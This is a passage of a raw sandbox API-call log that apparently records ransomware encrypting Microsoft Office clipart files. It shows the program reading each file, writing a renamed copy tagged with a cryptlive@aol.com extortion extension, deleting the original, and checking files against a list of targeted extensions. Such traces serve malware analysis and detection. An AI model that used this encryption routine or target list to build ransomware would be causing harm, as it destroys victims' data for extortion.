dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.336] GetLastError () returned 0x0 [0156.336] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1788, lpOverlapped=0x0) returned 1 [0156.337] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1790, lpOverlapped=0x0) returned 1 [0156.338] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.338] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.338] SetEndOfFile (hFile=0x3b4) returned 1 [0156.339] CloseHandle (hObject=0x3b4) returned 1 [0156.339] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.339] SetEndOfFile (hFile=0x1fc) returned 1 [0156.341] CloseHandle (hObject=0x1fc) returned 1 [0156.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.341] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107480.wmf")) returned 1 [0156.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.342] lstrlenW (lpString=".doc") returned 4 [0156.342] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.342] lstrlenW (lpString=".docx") returned 5 [0156.342] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.342] lstrlenW (lpString=".pdf") returned 4 [0156.342] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.342] lstrlenW (lpString=".xls") returned 4 [0156.342] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.342] lstrlenW (lpString=".xlsx") returned 5 [0156.342] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.342] lstrlenW (lpString=".ppt") returned 4 [0156.342] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.342] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.342] lstrlenW (lpString=".zip") returned 4 [0156.342] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.343] lstrlenW (lpString=".rar") returned 4 [0156.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString=".bz2") returned 4 [0156.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString=".7z") returned 3 [0156.343] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.343] lstrlenW (lpString=".dbf") returned 4 [0156.343] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.343] lstrlenW (lpString=".1cd") returned 4 [0156.343] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.343] lstrlenW (lpString=".jpg") returned 4 [0156.343] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.343] lstrlenW (lpString=".doc") returned 4 [0156.343] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString=".docx") returned 5 [0156.343] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0156.343] lstrlenW (lpString=".pdf") returned 4 [0156.343] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString=".xls") returned 4 [0156.343] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.343] lstrlenW (lpString=".xlsx") returned 5 [0156.343] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0156.343] lstrlenW (lpString=".ppt") returned 4 [0156.343] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.343] lstrlenW (lpString=".zip") returned 4 [0156.343] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.343] lstrlenW (lpString=".rar") returned 4 [0156.343] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.343] lstrlenW (lpString=".bz2") returned 4 [0156.343] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.344] lstrlenW (lpString=".7z") returned 3 [0156.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.344] lstrlenW (lpString=".dbf") returned 4 [0156.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.344] lstrlenW (lpString=".1cd") returned 4 [0156.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107480.WMF") returned 63 [0156.344] lstrlenW (lpString=".jpg") returned 4 [0156.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.344] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.344] lstrlenW (lpString="J0107482.WMF") returned 12 [0156.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.345] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4980) returned 1 [0156.345] CloseHandle (hObject=0x1fc) returned 1 [0156.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 0x20 [0156.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0156.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.345] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.346] GetLastError () returned 0x0 [0156.346] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1374, lpOverlapped=0x0) returned 1 [0156.347] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1380, lpOverlapped=0x0) returned 1 [0156.348] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0156.348] WriteFile (in: hFile=0x3b4, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.349] SetEndOfFile (hFile=0x3b4) returned 1 [0156.349] CloseHandle (hObject=0x3b4) returned 1 [0156.349] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0156.349] SetEndOfFile (hFile=0x1fc) returned 1 [0156.790] CloseHandle (hObject=0x1fc) returned 1 [0156.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107482.wmf")) returned 1 [0156.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.793] lstrlenW (lpString=".doc") returned 4 [0156.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString=".docx") returned 5 [0156.793] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.793] lstrlenW (lpString=".pdf") returned 4 [0156.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString=".xls") returned 4 [0156.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.793] lstrlenW (lpString=".xlsx") returned 5 [0156.793] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.793] lstrlenW (lpString=".ppt") returned 4 [0156.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.793] lstrlenW (lpString=".zip") returned 4 [0156.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.793] lstrlenW (lpString=".rar") returned 4 [0156.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString=".bz2") returned 4 [0156.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString=".7z") returned 3 [0156.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.793] lstrlenW (lpString=".dbf") returned 4 [0156.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.793] lstrlenW (lpString=".1cd") returned 4 [0156.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.793] lstrlenW (lpString=".jpg") returned 4 [0156.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.794] lstrlenW (lpString=".doc") returned 4 [0156.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString=".docx") returned 5 [0156.794] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.794] lstrlenW (lpString=".pdf") returned 4 [0156.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString=".xls") returned 4 [0156.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.794] lstrlenW (lpString=".xlsx") returned 5 [0156.794] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.794] lstrlenW (lpString=".ppt") returned 4 [0156.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.794] lstrlenW (lpString=".zip") returned 4 [0156.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.794] lstrlenW (lpString=".rar") returned 4 [0156.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString=".bz2") returned 4 [0156.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString=".7z") returned 3 [0156.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.794] lstrlenW (lpString=".dbf") returned 4 [0156.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.794] lstrlenW (lpString=".1cd") returned 4 [0156.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107482.WMF") returned 63 [0156.794] lstrlenW (lpString=".jpg") returned 4 [0156.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.795] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.795] lstrlenW (lpString="J0107514.WMF") returned 12 [0156.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.026] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=12204) returned 1 [0157.026] CloseHandle (hObject=0x1e0) returned 1 [0157.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 0x20 [0157.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.026] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.026] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0157.028] GetLastError () returned 0x0 [0157.028] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2fac, lpOverlapped=0x0) returned 1 [0157.030] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2fb0, lpOverlapped=0x0) returned 1 [0157.031] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0157.032] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0157.032] SetEndOfFile (hFile=0x1dc) returned 1 [0157.032] CloseHandle (hObject=0x1dc) returned 1 [0157.032] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.032] SetEndOfFile (hFile=0x1e0) returned 1 [0157.036] CloseHandle (hObject=0x1e0) returned 1 [0157.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf")) returned 1 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.038] lstrlenW (lpString=".doc") returned 4 [0157.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString=".docx") returned 5 [0157.038] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.038] lstrlenW (lpString=".pdf") returned 4 [0157.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString=".xls") returned 4 [0157.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.038] lstrlenW (lpString=".xlsx") returned 5 [0157.038] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.038] lstrlenW (lpString=".ppt") returned 4 [0157.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.038] lstrlenW (lpString=".zip") returned 4 [0157.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.038] lstrlenW (lpString=".rar") returned 4 [0157.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString=".bz2") returned 4 [0157.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.038] lstrlenW (lpString=".7z") returned 3 [0157.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.038] lstrlenW (lpString=".dbf") returned 4 [0157.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.039] lstrlenW (lpString=".1cd") returned 4 [0157.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.039] lstrlenW (lpString=".jpg") returned 4 [0157.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.039] lstrlenW (lpString=".doc") returned 4 [0157.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString=".docx") returned 5 [0157.039] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0157.039] lstrlenW (lpString=".pdf") returned 4 [0157.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString=".xls") returned 4 [0157.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.039] lstrlenW (lpString=".xlsx") returned 5 [0157.039] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0157.039] lstrlenW (lpString=".ppt") returned 4 [0157.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.039] lstrlenW (lpString=".zip") returned 4 [0157.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.039] lstrlenW (lpString=".rar") returned 4 [0157.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString=".bz2") returned 4 [0157.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString=".7z") returned 3 [0157.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.039] lstrlenW (lpString=".dbf") returned 4 [0157.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.039] lstrlenW (lpString=".1cd") returned 4 [0157.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF") returned 63 [0157.040] lstrlenW (lpString=".jpg") returned 4 [0157.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.040] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0157.040] lstrlenW (lpString="J0107712.WMF") returned 12 [0157.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.042] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4636) returned 1 [0157.042] CloseHandle (hObject=0x1e0) returned 1 [0157.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 0x20 [0157.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0157.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0157.042] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.043] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0157.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0157.044] GetLastError () returned 0x0 [0157.044] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x121c, lpOverlapped=0x0) returned 1 [0157.544] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1220, lpOverlapped=0x0) returned 1 [0157.545] ReadFile (in: 